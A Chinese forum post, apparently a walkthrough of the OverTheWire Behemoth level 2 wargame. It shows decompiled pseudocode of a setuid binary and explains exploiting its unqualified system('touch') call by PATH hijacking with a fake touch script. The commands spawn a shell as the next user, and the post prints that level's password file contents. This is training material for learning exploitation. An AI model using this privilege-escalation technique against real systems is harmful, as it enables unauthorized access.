首页
论坛
课程
招聘
[原创]WarGame-behemoth2 解题思路
2019-8-15 16:18 5061

[原创]WarGame-behemoth2 解题思路

2019-8-15 16:18
5061

Behemoth2伪代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // ebx@2
  __uid_t v4; // eax@2
  __uid_t v5; // ebx@3
  __uid_t v6; // eax@3
  struct stat stat_buf; // [sp+0h] [bp-88h]@1
  char s; // [sp+64h] [bp-24h]@1
  char v10; // [sp+68h] [bp-20h]@3
  __int16 v11; // [sp+6Ah] [bp-1Eh]@1
  char *name; // [sp+78h] [bp-10h]@1
  int v13; // [sp+7Ch] [bp-Ch]@1
  int *v14; // [sp+84h] [bp-4h]@1

  v14 = &argc;
  v13 = getpid();
  name = (char *)&v11;
  sprintf(&s, "touch %d", v13);
  if ( (lstat(name, &stat_buf) & 0xF000) != 0x8000 )
  {
    unlink(name);
    v3 = geteuid();
    v4 = geteuid();
    setreuid(v4, v3);
    system(&s);
  }
  sleep(0x7D0u);
  *(_DWORD *)&s = 544498019;
  v10 = 32;
  v5 = geteuid();
  v6 = geteuid();
  setreuid(v6, v5);
  system(&s);
  return 0;
}

之所以发这题并不是因为这题有多难,而是这题体现了死皮赖脸的黑客精神(至少我是这么认为的);随便找一个版本的Linux(我用的是Ubuntu18.04),将系统中的cat命令文件和whoami命令文件复制到我们在tmp目录下创建的临时文件夹,然后输入如下命令

behemoth2@behemoth:/tmp/pure/gavin$ chmod 777 cat whoami
behemoth2@behemoth:/tmp/pure/gavin$ ls
cat  touch  whoami

将touch文件中的内容改成’/bin/sh’,然后将PATH环境变量改成自己创建的文件夹,执行behemoth2,结果如下

behemoth2@behemoth:/tmp/pure/gavin$ export PATH=/tmp/pure/gavin
behemoth2@behemoth:/tmp/pure/gavin$ ../../../behemoth/behemoth2
$ whoami
behemoth3
$ cat /etc/behemoth_pass/behemoth3
nieteidiel
$

小结
从narnia开始已经讲过很多类型的漏洞了,wargame的游戏有很多都是换汤不换药的,所以以后不会每题都发出来了,只会发一些我觉得具有代表性的,至于别的题不懂的,就直接在我发的帖子下面留言吧(不一定会回答)或者到wargame的IRC里面找我也行(这个我一定会回答)
附件是可执行程序

[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 54
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
七七ZZZ 活跃值 2019-8-15 18:35
2
0
6B啊
游客
登录 | 注册 方可回帖
返回